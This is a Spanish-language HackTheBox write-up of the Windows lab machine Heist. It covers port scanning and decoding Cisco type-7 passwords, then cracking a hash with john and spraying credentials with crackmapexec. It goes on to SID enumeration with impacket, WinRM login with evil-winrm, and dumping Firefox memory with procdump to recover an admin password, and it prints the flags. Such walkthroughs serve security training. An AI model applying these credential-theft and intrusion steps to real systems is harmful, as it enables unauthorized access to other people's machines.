Heist es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Windows.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Heist 10.10.10.149 a /etc/hosts como heist.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
# Nmap 7.70 scan initiated Fri Feb 12 12:48:03 2021 as: nmap -sV -sC -p- -oA enumeration/nmap 10.10.10.149 Nmap scan report for heist.htb (10.10.10.149) Host is up (0.053s latency). Not shown: 65530 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested resource was login.php 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49669/tcp open msrpc Microsoft Windows RPC Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 3m30s, deviation: 0s, median: 3m30s | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-02-12 12:54:43 |_ start_date: N/A Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Feb 12 12:51:52 2021 -- 1 IP address (1 host up) scanned in 228.58 seconds |
En el escaneo inicial vemos varios puertos que pueden ser útiles como un portal web o el servicio de smb, así que vamos a continuar la enumeración a ver que posibilidades tenemos.
Enumeracion
Accedemos en primer lugar al portal web existente en el puerto 80, observando el siguiente formulario de login
No tenemos credenciales así que trasteamos un poco en la página y encontramos una página interesante al pinchar en el enlace “Login as guest” viendo la siguiente pantalla
En la misma encontramos dos cosas interesantes, por un lado el nombre de usuario hazard que podría ser de utilidad más adelante y un fichero adjunto con la configuración de un router cisco y cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 |
version 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 600 authorization exec SSH transport input ssh |
Observamos que se trata de una versión antigua con password 7 así que utilizaremos el siguiente portal web para descifrar los hashes
1 |
https://www.ifm.net.nz/cookbooks/passwordcracker.html |
Y conseguimos descifrar dos de ellos
1 2 |
rout3r:$uperP@ssword admin:Q4)sJu\Y8qz*A3?d |
Además de estos hashes observamos que también está especificado el secret, por lo que utilizaremos john the ripper para descifrar el mismo y obtener la clave en plano
1 2 3 4 5 6 7 8 9 10 11 |
$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3]) Will run 2 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status stealth1agent (?) 1g 0:00:02:08 DONE (2021-02-12 12:58) 0.007762g/s 27209p/s 27209c/s 27209C/s stealthy001..steak7893 Use the "--show" option to display all of the cracked passwords reliably Session completed |
Tenemos ya varios usuarios y passwords así que vamos a utilizar la tool crackmapexec para comprobar si podemos acceder por smb con alguno de los mismos
1 2 3 4 5 6 7 8 9 10 11 12 |
$ crackmapexec smb 10.10.10.149 -u usernames.txt -p passwords.txt CME 10.10.10.149:445 SUPPORTDESK [*] Windows 10.0 Build 17763 (name:SUPPORTDESK) (domain:SUPPORTDESK) CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\rout3r:$uperP@ssword STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\rout3r:stealth1agent STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\admin:$uperP@ssword STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\admin:stealth1agent STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\hazard:$uperP@ssword STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\hazard:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [+] SUPPORTDESK\hazard:stealth1agent [*] KTHXBYE! |
Y conseguimos un usuario válido, así que vamos a tratar de acceder por smb con el mismo
1 2 3 4 5 6 7 8 9 10 11 |
$ smbclient -L 10.10.10.149 -U hazard Enter WORKGROUP\hazard's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.10.149 failed (Error NT_STATUS_IO_TIMEOUT) Failed to connect with SMB1 -- no workgroup available |
Parece que no podemos conectarnos por este método así que vamos a utilizar la herramienta lookupsid de la suite impacket para intentar adivinar más usuarios en el sistema
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
$ lookupsid.py SUPPORTDESK/hazard:stealth1agent@10.10.10.149 Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation [*] Brute forcing SIDs at 10.10.10.149 [*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112 500: SUPPORTDESK\Administrator (SidTypeUser) 501: SUPPORTDESK\Guest (SidTypeUser) 503: SUPPORTDESK\DefaultAccount (SidTypeUser) 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser) 513: SUPPORTDESK\None (SidTypeGroup) 1008: SUPPORTDESK\Hazard (SidTypeUser) 1009: SUPPORTDESK\support (SidTypeUser) 1012: SUPPORTDESK\Chase (SidTypeUser) 1013: SUPPORTDESK\Jason (SidTypeUser) |
Y obtenemos varios usuarios más que podrían ser válidos. Volveremos a utilizar crackmapexec para intentar descubrir alguno útil con las credenciales obtenidas hasta el momento
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
$ crackmapexec smb 10.10.10.149 -u usernames.txt -p passwords.txt CME 10.10.10.149:445 SUPPORTDESK [*] Windows 10.0 Build 17763 (name:SUPPORTDESK) (domain:SUPPORTDESK) CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\rout3r:$uperP@ssword STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\rout3r:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\rout3r:stealth1agent STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\admin:$uperP@ssword STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\admin:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\admin:stealth1agent STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\support:$uperP@ssword STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\support:stealth1agent STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [-] SUPPORTDESK\chase:$uperP@ssword STATUS_LOGON_FAILURE CME 10.10.10.149:445 SUPPORTDESK [+] SUPPORTDESK\chase:Q4)sJu\Y8qz*A3?d [*] KTHXBYE! |
Y tenemos el usuario chase con una de las credenciales obtenidas anteriormente.
Probamos el acceso por smb de nuevo pero sin éxito así que vamos a tratar de loguearnos utilizando evil-winrm directamente al sistema
1 2 3 4 5 6 7 8 9 |
$ ruby evil-winrm.rb -u chase -p "Q4)sJu\Y8qz*A3?d" -i 10.10.10.149 Evil-WinRM shell v2.0 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Chase\Documents> whoami supportdesk\chase *Evil-WinRM* PS C:\Users\Chase\Documents> |
Y estamos dentro
Obteniendo la flag de user
Ahora que estamos dentro, nos vamos al escritorio del usuario y conseguimos la flag de user
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
*Evil-WinRM* PS C:\Users\Chase\Documents> cd .. *Evil-WinRM* PS C:\Users\Chase> cd desktop *Evil-WinRM* PS C:\Users\Chase\desktop> ls Directory: C:\Users\Chase\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/22/2019 9:08 AM 121 todo.txt -a---- 4/22/2019 9:07 AM 32 user.txt *Evil-WinRM* PS C:\Users\Chase\desktop> cat user.txt a127daef77ab6d9d92008653295f59c4 *Evil-WinRM* PS C:\Users\Chase\desktop> |
Escalado de privilegios
Completada la primera parte, seguimos para administrator.
Revisamos los procesos existentes en el sistema y vemos varios del navegador firefox
1 2 3 4 5 6 |
*Evil-WinRM* PS C:\Users\Chase\desktop> ps | findstr firefox 407 32 17468 63128 0.55 4224 1 firefox 390 29 23136 56432 6.94 6712 1 firefox 1240 68 110824 182996 17.05 6936 1 firefox 358 26 16368 37352 0.38 7016 1 firefox 343 20 9896 37120 0.06 7060 1 firefox |
Así que vamos a descargar el ejecutable de procdump64.exe de la web oficial de microsoft para sacar un dump de uno de los procesos de firefox.
Subiremos el ejecutable al servidor
1 2 3 4 5 6 7 8 |
*Evil-WinRM* PS C:\Users\Chase\desktop> upload /root/github/procdump/procdump64.exe Info: Uploading /root/github/procdump/procdump64.exe to C:\Users\Chase\desktop\procdump64.exe Data: 513184 bytes of 513184 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\Users\Chase\desktop> |
Y lo ejecutamos sobre el pid del proceso
1 2 3 4 5 6 7 8 9 10 |
*Evil-WinRM* PS C:\Users\Chase\desktop> .\procdump64.exe -accepteula -ma 4224 ProcDump v10.0 - Sysinternals process dump utility Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com [17:49:42] Dump 1 initiated: C:\Users\Chase\desktop\firefox.exe_210212_174942.dmp [17:49:42] Dump 1 writing: Estimated dump file size is 296 MB. [17:49:46] Dump 1 complete: 296 MB written in 4.2 seconds [17:49:47] Dump count reached. |
Para el análisis del mismo, nos descargamos el fichero y revisamos los strings existentes en el mismo
1 2 3 4 5 6 |
$ strings firefox.exe_210212_174942.dmp |grep password MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= RG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= MOZ_CRASHREPORTER_RESTART_ARG_1=localhost/login.php?login_username=admin@support.htb&login_password=4dD!5}x/re8]FBuZ&login= x:///chrome/toolkit/content/passwordmgr/ x:///chrome/en-US/locale/en-US/passwordmgr/ |
Y obtenemos unas credenciales
1 |
admin:4dD!5}x/re8]FBuZ |
Así que vamos a tratar de loguearnos como administrator en el servidor con la password obtenida
1 2 3 4 5 6 7 8 9 |
$ ruby evil-winrm.rb -u administrator -p '4dD!5}x/re8]FBuZ' -i 10.10.10.149 Evil-WinRM shell v2.0 Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> whoami supportdesk\administrator *Evil-WinRM* PS C:\Users\Administrator\Documents> |
Y somos admin
Obteniendo la flag de root
Una vez que ya tenemos permisos de administrador, sólo nos queda ir al escritorio del usuario para completar nuestra máquina
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop *Evil-WinRM* PS C:\Users\Administrator\desktop> dir Directory: C:\Users\Administrator\desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 4/22/2019 9:05 AM 32 root.txt *Evil-WinRM* PS C:\Users\Administrator\desktop> type root.txt 5xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx7 *Evil-WinRM* PS C:\Users\Administrator\desktop> |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace